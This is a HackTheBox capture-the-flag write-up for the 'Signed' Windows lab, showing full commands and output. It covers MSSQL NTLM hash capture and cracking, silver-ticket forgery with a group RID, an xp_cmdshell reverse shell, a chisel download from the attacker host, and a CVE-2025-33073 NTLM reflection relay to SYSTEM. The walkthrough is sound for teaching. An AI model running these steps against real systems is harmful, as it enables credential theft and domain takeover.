



HACKTHEBOX



Signed

1st Oct 2025

Prepared By: kavigihan

Machine Author: kavigihan

Difficulty: **Medium**

Synopsis

Signed is a medium-difficulty Windows machine that demonstrates the exploitation of an MSSQL server by extracting the NTLMv2 hash of the service account running the instance and cracking the hash to obtain its password. This enables the issuance of silver tickets for user impersonation and service access. The domain is then enumerated via the MSSQL instance to gather the necessary information to impersonate the Administrator account and grant command execution through the MSSQL service. For privilege escalation, the recently discovered CVE-2025-33073, an NTLM reflection attack, is leveraged to perform self-relaying even with signing enforced, providing access to the **winRMS** interface.

Skills Required

- Basic Active Directory Domain enumeration
- Basic Active Directory Service enumeration

Skills Learned

- SQL Server Abuse
- Active Directory Silver Ticket Attack

Enumeration

Let's start enumeration with an `Nmap` scan.

```
$ nmap -sSVC --open 10.129.242.189 -Pn
<SNIP>
PORT      STATE SERVICE      VERSION
1433/tcp  open  ms-sql-s     Microsoft SQL Server 2022 16.00.1000.00; RTM
|_ssl-date: 2025-09-29T17:25:36+00:00; +12s from scanner time.
|_ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
|_Not valid before: 2025-09-29T14:38:52
|_Not valid after:  2055-09-29T14:38:52
|_ms-sql-info:
|_  10.129.242.189:1433:
|_    Version:
|_      name: Microsoft SQL Server 2022 RTM
|_      number: 16.00.1000.00
|_      Product: Microsoft SQL Server 2022
|_      Service pack level: RTM
|_      Post-SP patches applied: false
|_  TCP port: 1433
|_ms-sql-ntlm-info:
|_  10.129.242.189:1433:
|_    Target_Name: SIGNED
|_    NetBIOS_Domain_Name: SIGNED
|_    NetBIOS_Computer_Name: DC01
|_    DNS_Domain_Name: SIGNED.HTB
|_    DNS_Computer_Name: DC01.SIGNED.HTB
|_    DNS_Tree_Name: SIGNED.HTB
|_  Product_Version: 10.0.17763
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
```

We see only 1 open port, which is 1433, which is running `MSSQL`. We also see the domain name as `signed.htb` and the machine name as `dc01`. So let's add that to the `/etc/hosts` file.

```
$ echo "10.129.242.189 dc01.signed.htb signed.htb dc01" | sudo tee -a
/etc/hosts
```

Let's log in to the service with the given credentials.

```
$ mssqlclient.py scott:'Sm230#C5NatH'@dc01.signed.htb
Impacket v0.13.0.dev0+20250909.125012.082dca34 - Copyright Fortra, LLC and its
affiliated companies
```

```
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2022 RTM (16.0.1000)
[!] Press help for extra shell commands
SQL (scott guest@master)> select user_name();
```

```
-----
guest
```

We see we are logged in as a `guest` user. By default, `guest` users don't have privileges to read or write files or to enable the `xp_cmdshell` feature. However, we can use the `xp_dirtree` feature and capture the NTLMv2 hash of the service account that's running this service.

For that, let's start `responder` first.

```
$ sudo responder -I tun0
```

Then use the following to make the `MSSQL` service connect to us.

```
SQL (scott guest@master)> EXEC master..xp_dirtree '\\10.10.14.132\share\'
subdirectory depth
-----
```

From `responder`, we can capture the `mssqlsvc` user's NTLMv2 hash.

```
[SMB] NTLMv2-SSP Client : 10.129.242.189
[SMB] NTLMv2-SSP Username : SIGNED\mssqlsvc
[SMB] NTLMv2-SSP Hash :
mssqlsvc::SIGNED:5de5a66069d9ffc4:9F7CD546FD5CCB63DCA18A227942504F:0101000000...
.<SNIP>...0000000000000000
```

Let's save this hash and attempt to crack it using `hashcat`.

```
$ hashcat mssqlsvc_hash /usr/share/wordlists/rockyou.txt
<SNIP>
MSSQLSVC::SIGNED:5de5a66069d9ffc4:9f7cd546fd5ccb63dca18a227942504f:01010000...
<SNIP>...330032000000000000000000:purPLE9795!@
</SNIP>
```

We get the clear-text password as `purPLE9795!@`.

Since we have the plaintext password for the service account running the `MSSQL` service, we can create Silver tickets and impersonate any user to access this service. So let's create a silver ticket impersonating the `Administrator` user.

For us to create a silver ticket, we need 2 main things:

1. NT hash of the service account (`mssqlsvc` in this case), which we already have.
2. SID of the domain

So, how do we get the Domain SID? We can't access SMB (port `445`), LDAP (port `636`), or even Kerberos (port `88`) from the outside network.

We can actually get the domain SID from within `MSSQL` itself. Looking through the `MSSQL` documentation, we can see there is a function called `SUSER_SID()` which accepts the username of a domain user as a parameter and then returns a `varbinary(85)` type value of the SID of the user.

Syntax

```
syntaxsql
```

[Copy](#)

```
SUSER_SID ( [ 'login' ] [ , Param2 ] )
```

Arguments

'* login *'

Applies to: SQL Server 2008 (10.0.x) and later versions

The login name of the user. *login* is **sysname**. *login*, which is optional, can be a SQL Server login or Microsoft Windows user or group. If *login* is not specified, information about the current security context is returned. If the parameter contains `NULL`, `SUSER_SID` returns `NULL`.

Param2

Applies to: SQL Server 2012 (11.x) and later versions

Specifies whether the login name is validated. *Param2* is of type **int** and is optional. When *Param2* is 0, the login name is not validated. When *Param2* is not specified as 0, the Windows login name is verified to be exactly the same as the login name stored in SQL Server.

Return types

varbinary(85)

Let's try to get that from the `MSSQL` server. Here, we can use the `Administrator` user and query that user's SID.

```
SQL (scott guest@master)> SELECT SUSER_SID('SIGNED\Administrator');

-----
b'0105000000000005150000005b7bb0f398aa2245ad4a1ca4f4010000'
```

We can convert this value to a readable SID from the following Python script.

```
import struct
import sys

def hex_to_sid(hex_str):

    hex_str = hex_str.strip().replace("b'", "").replace("'", "").replace("0x", "")

    data = bytes.fromhex(hex_str)

    revision = data[0]
    sub_auth_count = data[1]

    ident_auth = int.from_bytes(data[2:8], byteorder="big")

    subs = []
    for i in range(sub_auth_count):
        start = 8 + i * 4
        subauth = struct.unpack("<I", data[start:start+4])[0]
        subs.append(str(subauth))

    return "S-{}-{}-{}".format(revision, ident_auth, "-".join(subs))

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <hexstring>")
        print(f"Example: {sys.argv[0]} 0105000000000005150000005b7bb0f398aa2245ad4a1ca4f4010000")
        sys.exit(1)
```

```
print(hex_to_sid(sys.argv[1]))
```

```
$ python3 convert.py 0105000000000005150000005b7bb0f398aa2245ad4a1ca4f4010000  
S-1-5-21-4088429403-1159899800-2753317549-500
```

We get the `Administrator` user's SID as `S-1-5-21-4088429403-1159899800-2753317549-500`. And since the user SID is `<Domain SID>-<User RID>`, we can simply use the Domain SID as `S-1-5-21-4088429403-1159899800-2753317549`.

Now let's create the NT hash of the `mssqlsvc` account using `pypykatz`.

```
$ pypykatz crypto nt 'purPLE9795!@'  
ef699384c3285c54128a3ee1ddb1a0cc
```

With that, we have everything we need to create the Silver Ticket impersonating the `Administrator` user. For that, we can use the `ticketer.py` from `Impacket`.

```
$ ticketer.py -spn MSSQLSVC/dc01.signed.htb -domain-sid S-1-5-21-4088429403-  
1159899800-2753317549 -nthash ef699384c3285c54128a3ee1ddb1a0cc -dc-ip  
10.129.242.189 -domain signed.htb Administrator  
Impacket v0.13.0.dev0+20250909.125012.082dca34 - Copyright Fortra, LLC and its  
affiliated companies
```

```
[*] Creating basic skeleton ticket and PAC Infos  
[*] Customizing ticket for signed.htb/Administrator  
[*]     PAC_LOGON_INFO  
[*]     PAC_CLIENT_INFO_TYPE  
[*]     EncTicketPart  
[*]     EncTGSRepPart  
[*] Signing/Encrypting final ticket  
[*]     PAC_SERVER_CHECKSUM  
[*]     PAC_PRIVSVR_CHECKSUM  
[*]     EncTicketPart  
[*]     EncTGSRepPart  
[*] Saving ticket in Administrator.ccache
```

Then, let's export this ticket and access the `MSSQL` server.

```
$ export KRB5CCNAME=Administrator.ccache  
$ mssqlclient.py -k dc01.signed.htb  
Impacket v0.13.0.dev0+20250909.125012.082dca34 - Copyright Fortra, LLC and its  
affiliated companies  
  
[*] Encryption required, switching to TLS
```

```
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2022 RTM (16.0.1000)
[!] Press help for extra shell commands
SQL (SIGNED\Administrator guest@master)>
```

However, even as the Administrator user, we are still logged in as a guest user.

```
SQL (SIGNED\Administrator guest@master)> select user_name();

-----
guest
```

Why? Isn't the Administrator user supposed to have full privileges in all the services?

User

Well, not really. In the Windows SQL Server 2022 installation, the default configuration for administrative users with unrestricted access is empty.

Server Configuration | Data Directories | TempDB | MaxDOP | Memory | FILESTREAM

Specify the authentication mode and administrators for the Database Engine.

Authentication Mode _____

☐ Windows authentication mode

☒ Mixed Mode (SQL Server authentication and Windows authentication)

Specify the password for the SQL Server system administrator (sa) account. _____

Enter password:

Confirm password: [.....]

Specify SQL Server administrators

SQL Server administrators have unrestricted access to the Database Engine.

Add Current User Add... Remove

If you want the `Administrator` user to have administrative access, you have to add it manually. That is not the default configuration. In this installation, `Administrator` user has not been added as an administrative user. Let's enumerate which users have administrative access.

```
SQL (SIGNED\Administrator guest@master)> SELECT sp.name, sl.name AS LoginName
FROM sys.server_role_members rm JOIN sys.server_principals sp ON
rm.role_principal_id = sp.principal_id JOIN sys.server_principals sl ON
rm.member_principal_id = sl.principal_id WHERE sp.name = 'sysadmin';
```

name	LoginName
sysadmin	sa
sysadmin	NT SERVICE\SQLWriter
sysadmin	NT SERVICE\Winmgmt
sysadmin	NT SERVICE\MSSQLSERVER
sysadmin	NT SERVICE\SQLSERVERAGENT
sysadmin	SIGNED\IT

We can see an entry for the `SIGNED\IT` group with `sysadmin` privileges. This means users in the `IT` group have the `sysadmin` role on this `MSSQL` instance. So, instead of using the `Administrator` user, we can impersonate the `IT` group so that when we log in, we have `sysadmin` privileges.

But how do we find out who the users in the `IT` group are? We do not have LDAP, SMB, or Kerberos accessible from the external network. Well, we don't have to.

In a silver ticket attack, all we do is create the `PAC` of the ticket with the impersonating user's information and encrypt it with the NT hash of the service account. According to the PAC's structure, we can pass the group RID for authorization alongside the user RID.

```
AuthorizationData item
  ad-type: AD-Win2k-PAC (128)
  Type: Logon Info (1)
    PAC_LOGON_INFO: 01100800ccccccce00100000000000000002006a5c0818...
      Logon Time: Aug 17, 2018 16:25:05.992202600 Romance Daylight Time
      Logoff Time: Infinity (absolute time)
      PWD Last Set: Aug 16, 2018 14:13:10.300710200 Romance Daylight Time
      PWD Can Change: Aug 17, 2018 14:13:10.300710200 Romance Daylight Time
      PWD Must Change: Infinity (absolute time)
      Acct Name: pixis
      Full Name: pixis
      Logon Count: 7
      Bad PW Count: 2
      User RID: 1102
      Group RID: 513
      GROUP_MEMBERSHIP_ARRAY
        Referent ID: 0x0002001c
        Max Count: 2
        GROUP_MEMBERSHIP:
          Group RID: 1108
          Attributes: 0x00000007
            .... = Enabled: The enabled bit is SET
            .... = Enabled By Default: The ENABLED_BY_DEFAULT bit is SET
            .... = Mandatory: The MANDATORY bit is SET
        GROUP_MEMBERSHIP:
          Group RID: 513
          Attributes: 0x00000007
            .... = Enabled: The enabled bit is SET
            .... = Enabled By Default: The ENABLED_BY_DEFAULT bit is SET
            .... = Mandatory: The MANDATORY bit is SET
```

The way `MSSQL` figures out if a certain user is inside a specific group is from the PAC, so if we can create a PAC with the RID of the `SIGNED\IT` group, we would be able to get `sysadmin` privileges inside the `MSSQL` instance.

So all we need is the RID of the `SIGNED\IT` group so we can include it in the PAC for the ticket we create. We can use the same technique we used earlier to get the group's RID.

```
SQL (SIGNED\Administrator guest@master)> SELECT SUSER_SID('SIGNED\IT');
```

```
-----
b'0105000000000005150000005b7bb0f398aa2245ad4a1ca451040000'
```

```
$ python3 convert.py 0105000000000005150000005b7bb0f398aa2245ad4a1ca451040000
S-1-5-21-4088429403-1159899800-2753317549-1105
```

We see the RID of the `IT` group is `1105`. So let's create a ticket that includes this in the PAC, impersonating the `Administrator` user.

```
$ ticketer.py -spn MSSQLSVC/dc01.signed.htb -domain-sid S-1-5-21-4088429403-
1159899800-2753317549 -nthash ef699384c3285c54128a3ee1ddb1a0cc -dc-in
```

```
10.129.242.189 -domain signed.htb -groups 1105 Administrator
Impacket v0.13.0.dev0+20250909.125012.082dca34 - Copyright Fortra, LLC and its
affiliated companies
```

```
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for signed.htb/Administrator
[*]     PAC_LOGON_INFO
[*]     PAC_CLIENT_INFO_TYPE
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Signing/Encrypting final ticket
[*]     *PAC_SERVER_CHECKSUM*
[*]     PAC_PRIVSVR_CHECKSUM
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Saving ticket in Administrator.ccache
```

Note that it's using the `-groups` option to pass the group RID.

Then we export the ticket and access the `MSSQL` service.

```
$ export KRB5CCNAME=Administrator.ccache
$ mssqlclient.py -k dc01.signed.htb
Impacket v0.13.0.dev0+20250909.125012.082dca34 - Copyright Fortra, LLC and its
affiliated companies

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2022 RTM (16.0.1000)
[!] Press help for extra shell commands
SQL (SIGNED\Administrator dbo@master)> select user_name();

---
dbo
```

If you get an error about `Login Faliure`, make sure to sync time with the domain controller.

As you can see, we now have `sysadmin` privileges on the `dbo` schema. So, let's enable the `xp_cmdshell` feature and get command execution.

```
SQL (SIGNED\Administrator dbo@master)> EXEC sp_configure 'show advanced options', 1;
INFO(DC01): Line 196: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
SQL (SIGNED\Administrator dbo@master)> RECONFIGURE;
SQL (SIGNED\Administrator dbo@master)> EXEC sp_configure 'xp_cmdshell', 1;
INFO(DC01): Line 196: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (SIGNED\Administrator dbo@master)> RECONFIGURE;
SQL (SIGNED\Administrator dbo@master)> EXEC xp_cmdshell 'whoami';
output
-----
signed\mssqlsvc
```

Let's get a reverse shell.

```
SQL (SIGNED\Administrator dbo@master)> EXEC xp_cmdshell 'powershell -exec bypass -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AY...
<SNIP>...LAG4AdAAuAEMAbABvAHMAZQAoACKA';
```

```
$ nc -lvnp 9090
listening on [any] 9090 ...
connect to [10.10.14.132] from (UNKNOWN) [10.129.242.189] 63329

PS C:\Windows\system32> whoami
signed\mssqlsvc
```

The user flag can be found in `\users\mssqlsvc\desktop\user.txt`.

Privilege Escalation

Let's enumerate to see which ports are open.

```
PS C:\windows\tasks> netstat -ano -p tcp
<SNIP>
Active Connections

Proto Local Address           Foreign Address         State       PID
TCP    0.0.0.0:88              0.0.0.0:0               LISTENING   648
```

TCP	0.0.0.0:135	0.0.0.0:0	LISTENING	904
TCP	0.0.0.0:389	0.0.0.0:0	LISTENING	648
TCP	0.0.0.0:445	0.0.0.0:0	LISTENING	4
TCP	0.0.0.0:464	0.0.0.0:0	LISTENING	648
TCP	0.0.0.0:593	0.0.0.0:0	LISTENING	904
TCP	0.0.0.0:636	0.0.0.0:0	LISTENING	648
TCP	0.0.0.0:1433	0.0.0.0:0	LISTENING	2624
TCP	0.0.0.0:3268	0.0.0.0:0	LISTENING	648
TCP	0.0.0.0:3269	0.0.0.0:0	LISTENING	648
TCP	0.0.0.0:3389	0.0.0.0:0	LISTENING	372
TCP	0.0.0.0:5357	0.0.0.0:0	LISTENING	4
TCP	0.0.0.0:5986	0.0.0.0:0	LISTENING	4
TCP	0.0.0.0:9389	0.0.0.0:0	LISTENING	2816
TCP	0.0.0.0:47001	0.0.0.0:0	LISTENING	4
TCP	0.0.0.0:49664	0.0.0.0:0	LISTENING	488
TCP	0.0.0.0:49665	0.0.0.0:0	LISTENING	1124
TCP	0.0.0.0:49666	0.0.0.0:0	LISTENING	1572
TCP	0.0.0.0:49667	0.0.0.0:0	LISTENING	648
TCP	0.0.0.0:49669	0.0.0.0:0	LISTENING	2220
TCP	0.0.0.0:49670	0.0.0.0:0	LISTENING	648
TCP	0.0.0.0:49671	0.0.0.0:0	LISTENING	648
TCP	0.0.0.0:49673	0.0.0.0:0	LISTENING	648
TCP	0.0.0.0:49674	0.0.0.0:0	LISTENING	1436
TCP	0.0.0.0:49677	0.0.0.0:0	LISTENING	628
TCP	0.0.0.0:49687	0.0.0.0:0	LISTENING	1988
TCP	0.0.0.0:49723	0.0.0.0:0	LISTENING	2168
<SNIP>				

We can see that the typical ports opened on a domain controller include 88 (Kerberos), 445 (SMB), and 636 (LDAP). Another interesting port to notice is 5986, which is winRMS. To be able to access them from our attacking machine, let's create a SOCKS proxy with chisel.

First, start the chisel server.

```
$ ./chisel.sh server --reverse -p 8080 -v --socks5
2025/09/29 14:43:23 server: Reverse tunnelling enabled
2025/09/29 14:43:23 server: Fingerprint
vR5WEtWXAnK31r1k7XmB+honXrYeV7YfbLk1/ddziN8=
2025/09/29 14:43:23 server: Listening on http://0.0.0.0:8080
```

Then transfer the binary to the target and connect to the chisel server.

```
PS C:\windows\tasks> curl 10.10.14.132/chisel.exe -o chisel.exe
PS C:\windows\tasks> .\chisel.exe client 10.10.14.132:8080 R:socks
```

Once connected you see this output in the server

Once connected, you see this output in the server.

```
$ ./chisel.sh server --reverse -p 8080 -v --socks5
2025/09/29 14:43:23 server: Reverse tunnelling enabled
2025/09/29 14:43:23 server: Fingerprint
vR5WEtWXAnK31r1k7XmB+honXrYeV7YfbLk1/ddziN8=
2025/09/29 14:43:23 server: Listening on http://0.0.0.0:8080
2025/09/29 14:48:37 server: session#1: Handshaking with
10.129.242.189:57213...
2025/09/29 14:48:39 server: session#1: Verifying configuration
2025/09/29 14:48:39 server: session#1: tun: Created (SOCKS enabled)
2025/09/29 14:48:39 server: session#1: tun: proxy#R:127.0.0.1:1080=>socks:
Listening
2025/09/29 14:48:39 server: session#1: tun: SSH connected
2025/09/29 14:48:39 server: session#1: tun: Bound proxies
```

Then you can connect to the required services with `proxychains`.

```
$ proxychains -q nxc smb dc01.signed.htb -u mssqlsvc -p 'purPLE9795!@'
SMB          10.129.242.189  445      DC01          [*] Windows 10 / Server
2019 Build 17763 x64 (name:DC01) (domain:SIGNED.HTB) (signing:True)
(SMBv1:False) (Null Auth:True)
SMB          10.129.242.189  445      DC01          [+]
SIGNED.HTB\mssqlsvc:purPLE9795!@
```

Make sure to add the `socks5 127.0.0.1 1080` entry in the `/etc/proxychains.conf` file.

From the above output, we can see that signing is enabled in this machine, as by default, domain controllers have signing enabled. Therefore, relaying is not possible for this machine.

But recently, it was [discovered](#) that cross-protocol self-relaying is still possible with an [NTLM](#)

[reflection attack](#) even when signing is enabled. This was initially issued as a bug in the `NetExec` tool, but later found to be a valid issue in the Active Directory service.

In order to exploit this, we need to add a DNS entry pointing back to us. This DNS entry has to be made according to a very specific format, which is explained in great detail [here](#). Simply, it has to be a hostname that resolves to the machine itself, prepended with a marshaled string.

```
<MACHINE NAME>+1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA
```

For exploitation purposes, there are 3 valid DNS entries you can use.

```
# localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA
# dc011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA
# signed1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA
```

To add the DNS entry, we can use the `dnstools.py` from `krbrelayx`.

```
$ proxychains -q python3 /opt/krbrelayx/dnstool.py -u 'SIGNED.HTB\mssqlsvc' -p
'purPLE9795!@' -a add -r dc011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d
10.10.14.132 10.129.242.189
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding extra record
[+] LDAP operation completed successfully
```

Then you need to start `ntlmrelayx.py` to relay the coerced authentication. But what are we relaying it to? As of now, it is [possible](#) to relay to `MSSQL`, `ESC8`, and `winRMS`. Since we have `winRMS`, let's relay to that (You can relay it to MSSQL as well. The relay will work, but it won't do any good since we already have `sysadmin` privileges in the `MSSQL` instance)

```
$ proxychains -q ntlmrelayx.py -t winrms://10.129.242.189 -smb2support
Impacket v0.13.0.dev0+20250909.125012.082dca34 - Copyright Fortra, LLC and its
affiliated companies

[*] Protocol Client WINRMS loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client IMAPS loaded..
```

```

[*] Protocol Client DCSYNC loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client RPC loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server on port 445
[*] Setting up HTTP Server on port 80
[*] Setting up WCF Server on port 9389
[*] Setting up RAW Server on port 6666
[*] Setting up WinRM (HTTP) Server on port 5985
[*] Setting up WinRMS (HTTPS) Server on port 5986
[*] Setting up RPC Server on port 135
[*] Multirelay disabled

[*] Servers started, waiting for connections

```

Note that for `WinRMS` to be used, you need the `v0.13.0` version of `Impacket` with the `WinRMS` protocol client.

Then, finally, we can coerce the target using the DNS entry we added. For that, we can use `NetExec`'s `coerce_plus` module. (Subsequently, `Petitpotam` can also be used for this)

```

$ proxychains -q nxc smb dc01.signed.htb -u mssqlsvc -p 'purPLE9795!@' -M
coerce_plus -o L=dc011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA M=Petit
SMB      10.129.242.189  445      DC01      [*] Windows 10 / Server
2019 Build 17763 x64 (name:DC01) (domain:SIGNED.HTB) (signing:True)
(SMBv1:False) (Null Auth:True)
SMB      10.129.242.189  445      DC01      [+]
SIGNED.HTB\mssqlsvc:purPLE9795!@
COERCE_PLUS 10.129.242.189  445      DC01      VULNERABLE, PetitPotam
COERCE_PLUS 10.129.242.189  445      DC01      Exploit Success,
efsrpc\EfsRpcAddUsersToFile

```

Once the coercion is complete, in the `ntlmrelayx` output we can see that the attack was successful.

```

[*] (SMB): Received connection from 10.129.242.189, attacking target
winrms://10.129.242.189
[!] The client requested signing, relaying to WinRMS might not work!
[*] HTTP server returned error code 500, this is expected, treating as a
successful login

```

```
[*] (SMB): Authenticating connection from /@10.129.242.189 against  
winrms://10.129.242.189 SUCCEED  
[*] Started interactive WinRMS shell via TCP on 127.0.0.1:11000  
[*] All targets processed!
```

Now we can access the `WinRMS` shell from the socks proxy at `127.0.0.1:11000`.

```
$ nc 127.0.0.1 11000  
Type help for list of commands  
  
# whoami  
nt authority\system
```

The root flag can be found in `\users\administrator\desktop\root.txt`.

Beyond Root

In the Silver Ticket attack step, it's possible to forge a ticket for the SQL service account `mssqlsvc` and use that ticket to read the root flag directly from the SQL server.

First, create a ticket for the `mssqlsvc` user, including the user ID and group IDs, as follows.

```
$ ticketer.py -nthash ef699384c3285c54128a3ee1ddb1a0cc -domain-sid S-1-5-21-  
4088429403-1159899800-2753317549 -domain signed.htb -spn  
MSSQLSvc/dc01.signed.htb -user-id 1103 mssqlsvc -groups 512,513,1105  
Impacket v0.13.0.dev0+20250909.125012.082dca34 - Copyright Fortra, LLC and its  
affiliated companies  
  
[*] Creating basic skeleton ticket and PAC Infos  
[*] Customizing ticket for signed.htb/mssqlsvc  
[*]     PAC_LOGON_INFO  
[*]     PAC_CLIENT_INFO_TYPE  
[*]     EncTicketPart  
[*]     EncTGSRepPart  
[*] Signing/Encrypting final ticket  
[*]     PAC_SERVER_CHECKSUM  
[*]     PAC_PRIVSVR_CHECKSUM  
[*]     EncTicketPart  
[*]     EncTGSRepPart  
[*] Saving ticket in mssqlsvc.ccache
```

Then you use that ticket to authenticate to the SQL server. Finally, you can read the root flag using the `OPENROWSET` function within SQL Server.

```
$ export KRB5CCNAME=mssqlsvc.ccache
$ mssqlclient.py -k dc01.signed.htb
Impacket v0.13.0.dev0+20250909.125012.082dca34 - Copyright Fortra, LLC and its
affiliated companies
```

```
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2022 RTM (16.0.1000)
[!] Press help for extra shell commands
SQL (SIGNED\mssqlsvc dbo@master)> SELECT * FROM OPENROWSET(BULK
N'C:/Users/Administrator/Desktop/root.txt', SINGLE_CLOB) AS Contents
BulkColumn
-----
b'39<SNIP>60\r\n'
```